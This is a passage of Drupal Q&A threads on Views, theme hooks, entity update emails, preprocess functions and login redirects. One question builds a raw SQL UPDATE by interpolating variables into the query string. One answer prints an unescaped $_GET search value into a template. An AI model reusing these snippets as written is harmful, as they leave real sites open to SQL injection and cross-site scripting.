    }else{
      drupal_json_output(array('status' => 'FAILURE', 'message' => 'There is some issue in order to create new image node.'));
    }

}


how to insert an array in another one? This is an index (of module services) I created a resource that index books on a home page of a mobile app( this is not the most important in my question) I want to get books that have same tid (from table taxonomy) and put them on an array ($livres) at this time when I return $livres it's ok, books are grouped well and no duplications, but after putting them on array $livres, i want to put the $livres on the array $sections, sections contain the "header" that is the name of the section, and the array $livres of every section : the result i want is : [ { 'section' : 'A', 'livres':[{'id_book' : '1','title':'great book'},{'id_book' : '2','title':'great book too'}]},{'section':'B','livres':[{...ect

function my_module_home_index(){
$sections = array();
$livres = array();

$home_livre = db_query("SELECT tax.name as section,field_categorie_tid as tid,field_title_value as titre ,field_prix_value as prix ,t.entity_id FROM {field_data_field_title} as t
    join {field_data_field_prix} as pr on pr.entity_id = t.entity_id
    join {field_data_field_categorie} as cat on cat.entity_id = t.entity_id
    left join {taxonomy_term_data} as tax on tax.tid = cat.field_categorie_tid
    ")->fetchAll();

foreach($home_livre as $book){
    if(!isset($livres[$book-> tid]))
    $livres[$book-> tid] = array();

    $livres[$book->tid][]= array(
        'id_livre'=>$book-> entity_id,
        'titre' => $book-> titre,
        'prix'=> $book-> prix
    );
    $sections[]= array(
        'categorie'=> $book-> section
        'livre'=> $livres[$book->tid]
    );
}
return $sections;
  }

This is a part of what postman returns :

{
"categorie": "A",
"livre": [
  {
    "id_livre": "109",
    "titre": "F",
    "prix": "4"
  }
]
  },
{
  "categorie": "A",
  "livre": [
    {
     "id_livre": "109",
    "titre": "F",
    "prix": "4"
  },
  {
    "id_livre": "110",
    "titre": "G",
    "prix": "43"
  }
 ]
},
{

"categorie": "A",
"livre": [
  {
    "id_livre": "109",
    "titre": "F",
    "prix": "4"
  },
  {
    "id_livre": "110",
    "titre": "G",
    "prix": "43"
  },
  {
    "id_livre": "111",
    "titre": "H",
    "prix": "6"
  }
  ]
 },

As you can see; Book number 109 appears every iteration of foreach, how to avoid that ?

This is what return $livres shows (just a part, whent tid : 41, array is grouping all books with this tid so it's ok):

"41": [
{
  "id_livre": "109",
  "titre": "F",
  "prix": "4"
},
{
  "id_livre": "110",
  "titre": "G",
  "prix": "43"
},
{
  "id_livre": "111",
  "titre": "H",
  "prix": "6"
},
{
  "id_livre": "115",
  "titre": "L",
  "prix": "4"
},
{
  "id_livre": "118",
  "titre": "O",
  "prix": "5"
}
  ]
  }

Thank you

EDIT : this is the result postman returns when i "range" the query with 0,5 : i want 5 books (livres) in every sections, did anyone knows how to range the first array (not the second one that contains livres)

"response": [
{
  "section": "roman policier",
  "id_section": "31",
  "livres": [
    {
      "couverture": "http://localhost/drupal/sites/default/files/Etude_en_rouge.jpg",
      "id_livre": "113",
      "titre": "Une étude en rouge",
      "auteur": "Arthur Conan Doyle",
      "prix": "8",
      "categorie": "30",
      "section": "31"
    },
    {
      "couverture": "http://localhost/drupal/sites/default/files/fables.jpg",
      "id_livre": "119",
      "titre": "Fables",
      "auteur": "Jean de La Fontaine",
      "prix": "0",
      "categorie": "30",
      "section": "31"
    },
    {
      "couverture": "http://localhost/drupal/sites/default/files/couverture-livre_2.png",
      "id_livre": "120",
      "titre": "lire_latin",
      "auteur": "ecri_latin",
      "prix": "33",
      "categorie": "30",
      "section": "31"
    }
  ]
},
{
  "section": "roman drole",
  "id_section": "32",
  "livres": [
    {
      "couverture": "",
      "id_livre": "114",
      "titre": null,
      "auteur": null,
      "prix": "444",
      "categorie": "30",
      "section": "32"
    }
  ]
}

You could try this:

function my_module_home_index(){
  $sections = array();

  $home_livre = db_query("SELECT tax.name as section,field_categorie_tid as tid,field_title_value as titre ,field_prix_value as prix ,t.entity_id FROM {field_data_field_title} as t
    join {field_data_field_prix} as pr on pr.entity_id = t.entity_id
    join {field_data_field_categorie} as cat on cat.entity_id = t.entity_id
    left join {taxonomy_term_data} as tax on tax.tid = cat.field_categorie_tid
    ")->fetchAll();

  foreach($home_livre as $book){
    if (!isset($sections[$book->section])) {
      $sections[$book->section] = array(
        'categorie' => $book->section,
      );
    }

    $sections[$book->section]['livre'][] = array(
      'id_livre' => $book->entity_id,
      'titre' => $book->titre,
      'prix' => $book->prix,
    );
  }

  // The above will set up $sections as an associative array, but you need
  // to return an indexed array, so run it though array_values()
  return array_values($sections);
}

Basically, The first book that comes along with category "A" will create a new child the in $sections array with a key of "A". The book will then be nested in that child. If another book is found with category "A" then instead of creating a new category child, the book is nested inside of the same "A" category.

Note that I've not tested this code live so might need some tweaking


Redirect to previous non drupal page after login I have installed Drupal 7 on azeem.com, and I have installed a forum software on azeem.com/qa. I am trying to use Drupal as single sign on site.

When I am at azeem.com/qa, and I click on login page, it takes me to the Drupal login page with a URL like http://azeem.com/user/login?redirect=qa%2Findex.php%3Fq%3Dnode.

After giving the username and password, I successfully logged in, but instead of redirecting me back to http://azeem.com/qa, it takes me to http://azeem.com/user/1.

How can I redirect back to the page where I was before logging in?

Drupal doesn't react by default to a URL parameter called redirect; it does however react to the parameter destination. The destination parameter pretty much trumps any other internal redirect so this should override the default redirect.

When you send your users through to the Drupal login form try using a URL like this:

http://azeem.com/user/login?destination=qa


How to Move the Nodes Displaying in the Front Page to Another Page? (e.g. domain.com/articles) I've searched almost everywhere and nothing found, so hopefully someone can help me in here!

Okay, I'm using Drupal 7, I installed it and changed the front page to a basic page as I want to have static page displayed rather than list of articles! So this bit is fine and working perfectly, but the problem is how to display a list of my articles on another page, say I'm posting articles regularly and I want to be displayed on the articles section of the website and not on the front page, so how do I do that?

This can be done easily with WordPress 3, but couldn't find a solution for Drupal 7? Anybody have any idea? If you do then please help!

For example http://mydomain.com/articles/ would display a list of my articles, by the way I want each of my articles to be displayed as http://mydomain.com/article/the-article-name

Any idea?

Thanks

You need to use the Views module to create a list of recent articles. In fact views come with a predefined view that emulates the core Drupal frontpage. You just need to enable it and just define another path to use (such as site.com/articles). Here is a good series on learning views http://nodeone.se/blogg/learn-views-screencast-series-summed-up (Not affiliated in any way)


Protected $view values inside template_views_pre_render function? I'm trying to alter the view page title by using the template_views_pre_render function inside mytemplate.theme file.
It works fine, I'm able to modify its title this way:

$view->build_info['title'] = ...

My issue now is that I need to restrict this action to only one specific view, so I simply need to check the view id.
I tried with if ($view->id == 'my_view_id') {...} but I realized I can't access the $view values because they are protected.
How can I implement this control here?

To access the value of the view object you can use the method get():

$view->get('id')

Or if the object provides a special method for the id, which is the case with the view object:

$view->id()


How to automatically link specific words in a node to other nodes? Lets say i have a node with a body like:

"
Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nunc cursus dapibus diam sit amet aliquet.
"

I'm looking for a way to convert the consectetur (for example) word into a link to another node, when the node is displayed (and not when is edited!)

What is the best practices to define what node shuld be linked to that word (taxonomy? cck field?), and how to do that (theme_preprocess_node?).

Please note that, whatever hook/theme function i can use, the results must be cached (until the node get edited again): the site is for a no-profit cultural association with the lowest budget i've ever seen ;)

I would definitely use taxonomy for the relation between node and word, I would then use hook_node_save to alter the value of the body and add the links with a preg_replace. By adding a specific class to those links you can then remove those links with hook_form_alter before the body field is displayed for editing.


Cannot use my drupal installation after enabling new custom theme I keep geting this error message on every page request:

Fatal error: Allowed memory size of 167772160 bytes exhausted (tried to allocate 36 bytes) in C:\wamp\www\mydrupal2\includes\theme.inc on line 98
Call Stack
#   Time    Memory  Function    Location
1   0.0100  142240  {main}( )   ..\index.php:0
2   0.0220  449448  drupal_bootstrap( ) ..\index.php:20
3   0.2050  3025040 _drupal_bootstrap_full( )   ..\bootstrap.inc:2259
4   0.6290  15508712    drupal_theme_initialize( )  ..\common.inc:5144

Increasing memory allowance has not had any effects. I try using drush to disable the offending theme or go back to the last working one, it's the same error message. I can't even use drush for anything else. It reports the same error message. I tried the SQL method on this drupal.org page. Same result.

theme.inc on line 98 is trying to collect theme's ancestors.

My bet is that your custom theme is wrong and it's telling Drupl that is a subtheme of itself, making Drupal the enter in an infinte loop that exhausts memory.

Double check your custom theme configuration or just move it away from Drupal directories so Drupal can't process it.


Features to import content types Features seem to be the right way to import custom centent type in a fresh D7 install from a D6.
But when I create my feature on the D6 one, it added dependencies like modules,and once I import the module on D7, these aren't satisfied because D7 module version doesn't yet exist or it's not recognized..

How can I figure out this ? it's about CCK submodules (filefield,imagefield..)

thanks

These modules are now in core in D7.

EDIT:

I think I now understand what you are trying to do, and it is going to be a little more difficult than simply upgrading your site to D7. If I understand correctly, you are taking a D6 module generated by Features, and trying to plug it into a D7 site. Before you can do that you MUST first upgrade the D6 module to a D7 module. You will find more information here. The Drupal API has changed for D7.

If this is only a small site, do a clean install in D7, create your content types manually, and use cut and paste to migrate your content. For larger sites, create a complete working copy on a test bed and do a site upgrade following the instructions found here.

I have done several d6 -> d7 upgrades, and it usually takes two or three tries to get it right. If you do multiple backups during the process, you can restore to a working stage and continue without having to start from scratch if the upgrade fails for whatever reason.

Good luck.


How to wrap a whole view in a tpl file? I created a view and I'd like to wrap it with a link in a template file. I've never worked with custom template files for views, so I've no idea where to start.

How can I do this?

In views under advanced->theme you can see template naming conventions you can use. Copy the views-view.tpl.php to your themes templates folder and rename it to one of the suggested names in views->advanced->theme. Clear your cache and the template will be used. Now you can alter the output of the whole view.

You can also do this for the fields as a whole, or a specific field.

Mind that views has so much power through UI that you seldom need to go through themefiles.

Wrapping the views field(s) in a link can be done also by rewriting field output.


Send email to users after node update I have a content type "Room" with this config:

Title
Body
field_comments (Comments)
field_members (Users Entity reference)

When I create a room I send with hook_entity_insert() an email to users add to the room

But my problem is when I edit this room and I add New members, I want to send an email only for new.

I try it with this code in custom module with hook_entity_update:

notify.module
/**
* Implements hook_entity_update().
*/
function notify_entity_update(Drupal\Core\Entity\EntityInterface $entity) {
 if ($entity->getEntityTypeId() !== 'node' || ($entity->getEntityTypeId() === 'node' && $entity->bundle() !== 'room')) {
   return;
 }
 $mailManager = \Drupal::service('plugin.manager.mail');
 $module = ‘notify’;
 $key = 'new_notif';

 //send to all members in room
 $members = $entity->get('field_members')->getValue();
    $tos = [];
    foreach ( $members as $member ) {
        if ($member['target_id'] !== '1') {
            $tid = intval($member['target_id']);
            $user = \Drupal\user\Entity\User::load( $tid );
            $tos[] = $user->getEmail();
        }
    }

 $membersTo = implode (', ', $tos);

 $to = $membersTo;

 $params['message'] = 'You access to the room';

 $params['node_title'] = $entity->label();
 $langcode = \Drupal::currentUser()->getPreferredLangcode();
 $send = true;
 $result = $mailManager->mail($module, $key, $to, $langcode, $params, NULL, $send);
 if ($result['result'] !== true) {
   drupal_set_message(t('There was a problem sending your message and it was not sent.'), 'error');
 }
 else {
   drupal_set_message(t('Your message has been sent.'));
 }
}

I Don't know how to exclude old members after edit, add new members and save a room.

But my problem is when I edit this room and I add New members, I want
  to send an email only for new.

As hook_entity_update mentions

  Get the original entity object from $entity->original.

$entity->original gives you access to the values before the update.

So all you gotta do is compare the original members to the updated members to find out who are the new members.

$og_members = array();
$og_members = $entity->original->get('field_members')->getValue();

$up_members = array();
$up_members = $entity->get('field_members')->getValue();

$new_members = array();
// use array_diff() to find the difference.
$new_members = array_diff($up_members, $og_members);


Single view to display related nodes I am trying to display related nodes block using a single view for all the taxonomy terms. So that if user click on any node title he/she will see the related nodes based on the node's taxonomy term.

I tried adding contextual filter with taxonomy term by selecting all the vocabularies, but doing this will display nodes from other terms as well.

The reason I am trying to use single view is, I have tabs (Quick tabs) structure on a node page, with related nodes as a Tab. So I cannot create different views for nodes based on terms, and cannot specify different views in quick tabs settings.

You need to create a block view with all content. Then filter content for your specific term by adding a filter-> content type.

Then add a Content: Has taxonomy term ID. On the config of the later. When the form value is not provided in the URL choose provide default value -> Taxonomy term ID from URL.

Enable load default filter from page and load default filter from node. On the latter enable your vocabulary.

Afterward, config the case that the ID is present on the URL. Specify validation criteria by choosing taxonomy term and again chose your vocabulary.

It should work!
Check the whole tutorial on http://www.drupalgardens.com/videos/410746


Edit date field html I would like to edit the html produced for a field. Is that possible to do this through a hook? I want to convert "date1 - date2" to "date1 to date2".

You can override the theme function for the date range date field formatter: theme_date_display_range().
For example, in your theme's template.php file you can add this:
/**
 * Override the themeing of a date field date range.
 */
function THEMENAME_date_display_range($variables) {
  $date1 = $variables['date1'];
  $date2 = $variables['date2'];
  $timezone = $variables['timezone'];
  $attributes_start = $variables['attributes_start'];
  $attributes_end = $variables['attributes_end'];

  // Wrap the result with the attributes.
  return t('!start-date - !end-date', array(
    '!start-date' => '' . $date1 . '',
    '!end-date' => '' . $date2 . $timezone . '',
  ));
}

Replace THEMENAME with the name of your theme.
Note in the return line the dash.
The default is for that to be 'to'.


Call template file, hook_theme() thru theme( hook, $data ) I am trying to call a template file but without luck.

   /**
     * Implements hook_theme().
     */
    function my_module_theme($existing, $type, $theme, $path) {
      return array(
        'my_module_text' => array(
          'template' => 'my_module_text',
          'variables' => array(
               'myvar' => 'helloworld'
           ),
          'path' => drupal_get_path('module', 'my_module'),
        ),
      );
    }

    /**
     * Preprocessor for theme('my_module_text').
     */
    function my_module_preprocess_my_module_text(&$variables) {
      debug('text preprocessor called');
    }

I have a template file in the module directory named my_module_text.tpl.php.

When I call theme('my_module_text',array('myvar' => 'helloworld')); I get nothing. The template file is not used.

Am I missing anything?

Your code looks fine to me; make sure you've cleared Drupal's caches since implementing hook_theme(), and your preprocess function, as these implementations are cached, and won't show up in the registry until you do.

FYI, the "path" property is not required if the template file resides in your module's folder: Drupal will check there first anyway (this won't be causing the problem though).


PhotoSwipe display only one image from Views grid form I created a grid view to display several node images thumbnails (3 columns, and multiple lines), and following PhotoSwipe usage found whithin the README.txt, I specified the CSS class "photoswipe-gallery" to display the field image.

Now when I click on one image from the view, I got the full sized Image as I wanted, but I can't move to the next or previous image that exist within my view grid.

Is there anybody knowing how to do it?

Thanks in advance

After some investigations, I hook (?) the views-view-grid-default.tpl.php and wrap the grid  within a:

 ...

block and now the script take correctly all images found in the grid table.

Of course I removed this class from the image field parameter.

Thanks


Change a paragraph link field title at runtime We have a site with numerous paragraphs, one of which is a Call-to-action, comprised of a title, summary and a link field (machine name: field_link).

The CTA is used so much that to change the word 'Enquire' to 'Inquire' for when we are on a US translation (en-US in url) would require the paragraph been edited manually for every content page that has a us translation would be a monumental task.

As such I've decide to attempt to simply handle this in the paragraph preprocess hook. The original idea was simply to check if we were in a us translation, then check for the word in the field_linl title and change it if needed, as per my snippet below.

/* Translation modifier:
   * The call to action paragraph is used on almost all pages and translations
   * doesn't work with paragraphs at all. So we need to detect if we are in a US
   * translation and change out the spelling of certain words.
   */
  if($paragraph_type == 'call_to_action'){

    if(is_us_translation()){
      $cta_link = $paragraph->get('field_link');
      $cta_link->list[0]->values['title'] = 'Inquire';
      $paragraph->set('field_link', $cta_link);

      // $paragraph->values['field_link']['x-default'][0]['title'] = 'Inquire';
    }
  }

The commented out line was my other attempt.

My problem though is nothing I have tried seems to manage to change the title of the field. Is there a specific way to change this?

This worked for me

function MYTHEME_preprocess_field(&$variables, $hook){
  $element = $variables['element'];

  /* Translation modifier:
   * The call to action paragraph is used on almost all pages and translations
   * doesn't work with paragraphs at all. So we need to detect if we are in a US
   * translation and change out the spelling of certain words.
   */
  if(is_us_translation()){
    if (isset($element['#field_name'])) {
      if ($element['#field_name'] == 'field_link') {
        $str_to_check = strtolower(trim($variables['items'][0]['content']['#title']));

        if(strpos($str_to_check, 'enquire') !== false){
          $variables['items'][0]['content']['#title'] = 'Inquire';
        }
      }
    }
  }
}


Prepopulate an entity reference in an inline entity form Using Drupal 8...

I have a content type, called "Qualification".

In Qualification is an entityreference field called "Specification Sections" (field_specification_sections).

The entityreference (field_specification_section) field uses an inline entity form to create a node of type "Specification Text Section" (specification_text_section).

In other parts of my site, I need to be able to call the 'parent' of Specification Text Section, so there is a entityreference field called that refers back to qualification.

I need to prepopulate, the field_qualification entityreference, when I create the Specification Text Section.

I've been struggling with using hook_inline_entity_form_entity_form_alter, trying to get the field_qualification to prepopulate.

I am currently using:

function mymodule_inline_entity_form_entity_form_alter(&$entity_form, &$form_state) {
     // get qualification node id from request
     $nodeId = \Drupal::request()->attributes->get('node');

     // load the node entity
     $node = is_numeric($nodeId) ? \Drupal\node\Entity\Node::load($nodeId) : null;

     if ($entity_form['#entity_type'] == 'specification_text_section'){
           $form['field_qualification']['widget'][0]['target_id']['#default_value'] = $node;

    }
}

But, this is not prepopulating the field in the inline entity reference.

If I still had hair, I'd be pulling it out!

Can anyone point me in the right direction?

Thanks

I tend to use CER (Corresponding Entity References) for things like this.

As an added benefit, you can hide the reference field on specification_text_section giving a slightly cleaner editor experience.

I have a couple of similar setups where I have IEFs on the grandparent, parent, and child, so you can create all 3 from any level and CER handles reverse reference. So, if I create a parent node, I have 2 IEFs, one for the grandparent and child, but don't show the field referencing the parent in either IEF forms.


Different image styles for each result? I am trying to achieve a masonry-style blog post display using Views, which will look similar to this:
http://blog.iamcreative.me/wp-content/uploads/2012/10/MASONRY.jpg

I have an image in each result, but I want the Image Style to vary (e.g. 400x300, 400x400, 400x600) between the results. I would then use the Masonry Views module to achieve the masonry functionality.

Does anyone know how I can vary the image styles between the results so the post pictures will be of varying sizes?

Thanks in advance :)

If you enable Display Suite, you will get a format setting to choose a different view mode for each item.

You'd just need to set up each different view mode in display suite, then create your view and set each row to the needed style.


How can I let images uploaded via ckeditor show their full url in a json request via REST? I have textarea fields in my headless drupal 8 site. When I get the node via REST in json it does not give the domain name in the image urls that are uploaded via ckeditor. So the images are not shown when I display this field.

You can relatively easily fix the images on the client using jQuery by following Correct Img Src Path with Javascript and Jquery.


How to set viewing of Bookmarks User Profile tab to just the owner? So, with the Flag module comes a ready made flag and view for "Bookmarks". The view that comes with the Bookmark flag creates a tab on the user profile page labeled "Bookmarks" showing all of the bookmarks saved by that user.

I would like this tab to only be visible for the actual owner of that user profile page.

That way, if some other user views a different user's profile page, they will not see the Bookmarks tab.

Currently, from what I can tell, a view can only be limited in access by Roles or specific permissions. Any suggestions?

I would prefer now to have to use custom PHP.

Drupal 7.12

Try "permissions" and "view own published content."


updating field value of a content type with query I have a problem, may you guys can help me :)

I have content type called book, and it has field called stock. Instead of using node_save() I want to update value of book stock using manual query. I have this query, if I run from MySQL client (heidisql ex) the value of book stock has changed already, but if I open the node of book nothing happen. Please help me guys..

node_save() method:

$node = node_load($id); // $id -> node id (nid)
$node->field_stock_value[$node->language][0]['value'] = "whatever";
node_save($node);

my query:

db_query("update field_data_field_stock b left join field_revision_field_stock rb on b.revision_id = rb.revision_id set b.field_stock_value = '{$stock}', rb.field_stock_value = '{$stock}' where b.entity_id = {$nid}");

I want to use query instead node_save() because I want to perform batch set for updating node, and you know, node_save() is really weight.

thank you before, happy new year guys.. :D

Why not you use field API field_attach_update() instead, it can save the node_save() process.

For example take this.

  $node = new stdClass();
  $node->id = $id_value;          // node id
  $node->type = $bundle_value;  // aka content type

  $node->field_fieldname[LANGUAGE_NONE][0]['value'] = 'some value';
  field_attach_update('node', $node);

Reference: http://www.urbaninsight.com/2011/10/24/saving-nodes-fields-without-saving-node-itself


How to enable ckeditor in the emails templates at admin/config/people/accounts? Just that.

I need to enable ckeditor to write the text body for the welcome e-mail message at admin/config/people/accounts

How can I do this?

Create custom module for Drupal 7;
Add below code to your module;
replace all MODULENAME in code to your module name;
clear cache;
refresh /admin/config/people/accounts page

For all textarea fields there's text selector appear - you should select format, where ckeditor attached:

/**
 * Implements hook_form_FORM_ID_alter() for user settings page.
 */
function MODULENAME_form_user_admin_settings_alter(&$form, &$form_state, $form_id) {
  _MODULENAME_form_user_admin_settings_elements($form);
}

/**
 * Scan through elements.
 */
function _MODULENAME_form_user_admin_settings_elements(&$elements) {
  // Recurse through all children.
  foreach (element_children($elements) as $key) {
    if (isset($elements[$key]) && $elements[$key]) {
      if (isset($elements[$key]['#type']) && ($elements[$key]['#type'] == 'textarea')) {
        $elements[$key]['#type'] = 'text_format';
      }
      else {
        _MODULENAME_form_user_admin_settings_elements($elements[$key]);
      }
    }
  }
}

be warn, that placeholders signs [bla-bla:something] can be replaced by unicode symbols (&XXXX;), check before to show your client.
if you want add text format only for certain textarea use Devel module dpm function for seeking that element and setting next code $elements[CERTAIN_ARRAY_PATH2ELEMENT]['#type'] = 'text_format'; without scanning through all elements.


Can't change image attribute src I want use Lazy Load jQuery Plugin. So, I must change image src to data-original path.

And I added this code to my template.php:

function mytheme_preprocess_image(&$variables) {
   if ($variables['style_name'] == 'slides') {
       $variables['attributes']['class'][] = 'lazy';
       $variables['attributes']['data-original'][] = file_create_url($variables['path']);
       $variables['path'] = '/sites/all/themes/mytheme/images/grey.png';
   }
}

Yes, this code add data-original attribute. But not add grey.png image to src

What's problem? How can I fix it? Thanks.

function mytheme_preprocess_image(&$variables) {
   if ($variables['style_name'] == 'slides') {
       $variables['attributes']['data-original'][] = file_create_url($variables['path']);
       $variables['attributes']['class'][] = 'lazy';
       $variables['path'] = '/sites/all/themes/mytheme/images/grey.png';
   }
}

Regards


How is it possible for CSS code to be in a false directory but still be used? I am trying to mimic a theme from another website. I pulled the code / database down and now I have a local copy.

The sub-theme this guy is using is fine and correct, all is in order.

/var/www/sandbox/sites/all/themes/erc_generic/css/

However, when I go to look at where he put his CSS code, its in this directory:

/var/www/sandbox/sites/default/files/css/

This is no-where near in the sub-theme that is being used by Drupal.

He has about 30-40 CSS files in that folder and they don't have normal names either.. here is a example of one:

css_0_-tDmvAnmauKU86ANuyPJMDjn5wjUx4qFEEbOhbr7g.css

Also for whatever reason, maybe for extraction purposes, each CSS file he has, he has them individually zipped up.

I am trying to mimic the theme and I thought just copying and pasting the sub-theme settings would do, but when I right-click on the site to look for what CSS properties are being used.. they are linked to these files instead.

How does one even DO this? I can't find how he can link CSS files to a theme thats not even located in the sub-theme folder.

I can't find how he can link CSS files to a theme thats not even located in the sub-theme folder.

He's not, the system is doing that part.

When you have CSS aggregation enabled, Drupal concatenates all the relevant files together per-page (bit more complicated than that actually, but for the sake of argument that'll do), and those are served instead of multiple originals. Compressed versions are also created for browsers that support it, yes.

If this is messing with you, just pop to the Performance settings page at admin/config/development/performance, switch off CSS aggregation, reload your page, and check the source again. You'll now see links to the original, un-merged CSS files within the theme.


How do I export a content type, views as a single module I've a view, content type, field collection, flexslider to satisfy a single user case. May I know how to export all these three as a single module.

You could use some Drupal Console export commands for this:

config:export:content:type
config:export:view

You could use the --module option to specificy which module to export.

It's easier to use the Features module though. From the project page:

  A feature is a collection of Drupal entities which taken
  together satisfy a certain use-case.

  Features provides a UI and API for taking different site building
  components from modules with exportables and bundling them together in
  a single feature module. A feature module is like any other Drupal
  module except that it contains additional information in its info file
  so that configuration can be checked, updated, or reverted
  programmatically.

  Examples of features might be:

  A blog
  A pressroom
  An image gallery


The wrapper of Text field is changing after adding a new item in a field collection I face a issue in my code in drupal 7. I alter a field_collection module. I have unlimited field collection (field_smart_objectives) that has two field collections (field_smart_objective_task and field_tms_task). field_tms_task is unlimited and has a select list that fire an ajax callback when the selection change and it will update a text field in field_smart_objective_task. My form as in the image below

This is my code

function field_collection_form_alter(&$form, &$form_state, $form_id) {
global $user;

if($form_id == 'employee_performance_node_form') {

$weightCount=0;
$maxField=0;

 $delta_tn=0;
$delta_tn  =$form['field_smart_objectives']['und']['#max_delta'];

while($maxField<=$delta_tn){
    $delta_tn_ud=0;
    $delta_tn_ud = $form['field_smart_objectives']['und'][$maxField]['field_tms_task']['und']['#max_delta'];
    $delta = 0;
    $Count_progress=0;

    while ($delta <= $delta_tn_ud) {

           $content_type= $form_state['values']['field_smart_objectives']['und'][$maxField]['field_tms_task']['und'][$delta]['field_task_progress']['und'][0]['value'];

          if($content_type == "0")
           {
              $Count_progress= $Count_progress + ( 100 / $delta_tn_ud);
           }

    $form['field_smart_objectives']['und'][$maxField]['field_tms_task']['und'][$delta]['field_task_progress']['und']['#ajax'] = array(
          'callback' => '_user_ajax_check',
          'wrapper' => 'test_entity_callback'.$maxField,
          'method' => 'replace',
          'effect' => 'fade',
          'event' => 'change',
        );

        $delta++;
}

           if($delta_tn_ud==0)
          {
           $form['field_smart_objectives']['und'][$maxField]['field_smart_objective_task']['und'][0]['field_so_progress']['und'][0]['value']['#value'] = $Count_progress;
         }
         else
        {
            $form['field_smart_objectives']['und'][$maxField]['field_smart_objective_task']['und'][0]['field_so_progress']['und'][0]['value']['#value'] =$Count_progress;
        }

    $form['field_smart_objectives']['und'][$maxField]['field_smart_objective_task']['und']['#prefix'] = '
';
    $form['field_smart_objectives']['und'][$maxField]['field_smart_objective_task']['und']['#suffix'] = '
';

$maxField++;
}

function _user_ajax_check($form, &$form_state) {
 $delta_tn=0;

  $delta_tn  =$form['field_smart_objectives']['und']['#max_delta'];

  return $form['field_smart_objectives']['und'][$delta_tn]['field_smart_objective_task'];

}

We I change the select value of field_tms_task select list, it update the text field and it works fine. My issue is when I add another field_smart_objectives and try to change the select value of the first field_smart_objectives

$form['field_smart_objectives']['und'][$maxField]['field_smart_objective_task']['und']['#prefix'] = '
';

$maxField should be zero, but it change to 1. Could Anyone tell me why it is happen?

Thank you

I have find a solution. I add this code to ajax function and it solves my issue.

$index=0;
    $index= $form_state['triggering_element']['#field_parents'][2];

  return $form['field_smart_objectives']['und'][$index]['field_smart_objective_task'];

Thank you


How to find out what views page you're looking at I have the $is_portfolio variable in my "template.php" file that lets me easily check what content type is being displayed, so I can do freaky and awesome stuff with it:

function mycooltheme_preprocess(&$variables, $hook) {
  if ($hook == 'page' ) {
    if ($variables['node']->type == 'portfolio') {
      $variables['is_portfolio'] = TRUE;
    }
    else {
      $variables['is_portfolio'] = FALSE;
    }
  }
}

In my "page.tpl.php" file, I use it through a conditional which lets me change the markup depending on the content type:

<?php if ($is_portfolio) : ?>
  // Use this layout
<?php elseif (!$is_portfolio) : ?>
  // Boo, use this layout instead :-(
<?php endif; ?>

How can my code in "template.php" be customized so it can also check which Views page is being displayed, so I can target those as well?

Use menu_get_item() to retrieve the page callback for the currently shown path, and check it correponds to 'views_page', which means you are in a view.

function mycooltheme_preprocess_page(&$vars) {
  $menu_item = menu_get_item($_GET['q']);

  if ($menu_item['page_callback'] == 'views_page') {
    $vars['is_portfolio'] = ($menu_item['page_arguments'][0] == 'path_of_your_view');
  }
}

You can also use current_path() directly, but I found interesting to know that you're on a Views page using menu_get_item().


Create dynamic page with dynamic addresses My module creates pages. These pages have dynamic addresses, such as:

test -> http://www.SITENAME.com/test or
hello/world -> http://www.SITENAME.com/hello/world or everything that admin adds.

How do I assign a page callback to these pages? I get the "page not found error" on these pages.

I am using Drupal 7.

I don't understand what you mean by "my module creates pages". It sounds as if you meant to say "URLs" instead of "pages".

Anyway, if you want to link a callback to a URL, you need to implement hook_menu() in a custom module. See the menu_example module and its hook_menu implementation menu_example_menu for an example.


How to get the input value with preprocess from a Fulltext Search Filter exposed form For Drupal 7 I found a workaround to a similar situation here, when combining Core search block forms and search api contextual filters. This "workaround" won't work when using Search API, if you don't want the Contextual Filter in your view.
My current setup:
I am using Search API, with a database server, and displaying the results with a Views page. I am using Search: Fulltext search (exposed) and Exposed form in block:Yes for the search block form.
What I am trying to achive:
I would like to put what was searched for in the Header of the view, and also at the top of No Results Behavior like this:
"You searched for bananas"
The problem:
When using Search: Fulltext search (exposed), the replacement patterns for the input value are not available in the Global Text Area. They are only available by adding a Fulltext Search Contextual Filter. There is an issue for this with a patch for Drupal 8 here.
My question:
Is there a views_pre_render or some other hook that can be used for the Header or No Results region to output the value that was input into the Search: Fulltext search (exposed) form?
There is a dev module to create a token, but it only works for the Results Summary.

Maybe not exactly what you're asking for, but the one way to approach this is to use hook_preprocess_views_view(&$variables) and modify the contents of the header, or add a variable containing the string you want and then it in above/below the header in a views-view.tpl.php template override. If the search string isn't available through $variables, you can probably grab it from the url since it's likely included as a query string.
To get the query string from the url and add it to the template variables you'd do something like the following in your module or theme:
/**
 * Implements hook_preprocess_hook()
 */
function my_module_preprocess_views_view(&$variables) {
  // Get the query string from the url.
  // it will be on something like ?the_search_string=big+banana.
  $search_string_raw = $_GET['the_search_string'];

  // Decode the url to remove special chars
  $search_string_decoded = urldecode($search_string_raw);

  // Add it to $variables so it's available in views-view.tpl.php
  $variables['search_string'] = $search_string_decoded;
}

This will make the search_string available in views-view.tpl.php. You can then print it in there with
<?php if($search_string): ?>
  <?php print $search_string ?>
<?php endif; ?>

// or

<?php

if($search_string) {
  print $search_string;
}

To clarify how hook_preprocess_hook works -- the first "hook" is your module name, and the second is the name of the template that you're targeting. Since we are targeting views-view.tpl.php, we use hook_preprocess_views_view.
In general, the easiest way to get started inspecting php variables is to dump them to the screen. For Drupal 7, I'd recommend installing https://www.drupal.org/project/kint on your site. This will let you print variables to the screen to help you dig into their values and see what's in there. You'd do like:
function my_module_preprocess_views_view(&$variables) {
  kint($variables);
  // or
  kpr($variables['header'])
}

Then you can see what's actually inside of $variables and grab/modify the values in there.


Views block visibility I want to show the block only on this page /category and not show on every next like /category?page=1

As I see it's a big problem for Drupal 8?

You can set the visibility of a block in the block page (admin/structure/block).
In the visibility tab select 'Show for the listed pages' and in the 'Pages' just add /category. Use /category/* to display the block in all the pages.


How to use fixed width in AT Panels everywhere (site template)? I am using the AT Panels Everywhere theme and its ATPanels Everywhere Site Template. However, apparently it overrides the At panels everywhere theme because the width seems to be fluid and not fixed. How can I change the width to fixed? I tried it in admin/structure/pages/site_template and added css code but nothing changes. The site keeps it fluid width.

/* set a fixed overall width */
  #page-wrapper  {
    width: 960px;
    margin-left: auto;
    margin-right: auto;
  }

  /* Add some margin to the main content row. This class was set in the layout designer. */
  #page-wrapper .main-content {
    padding: 0 10px;
  }

The question is: How can I create a fixed width with AT panels everywhere site template?

Found the answer: look at default site template, copy-paste the css of the sample variant and set the page-wrapper.


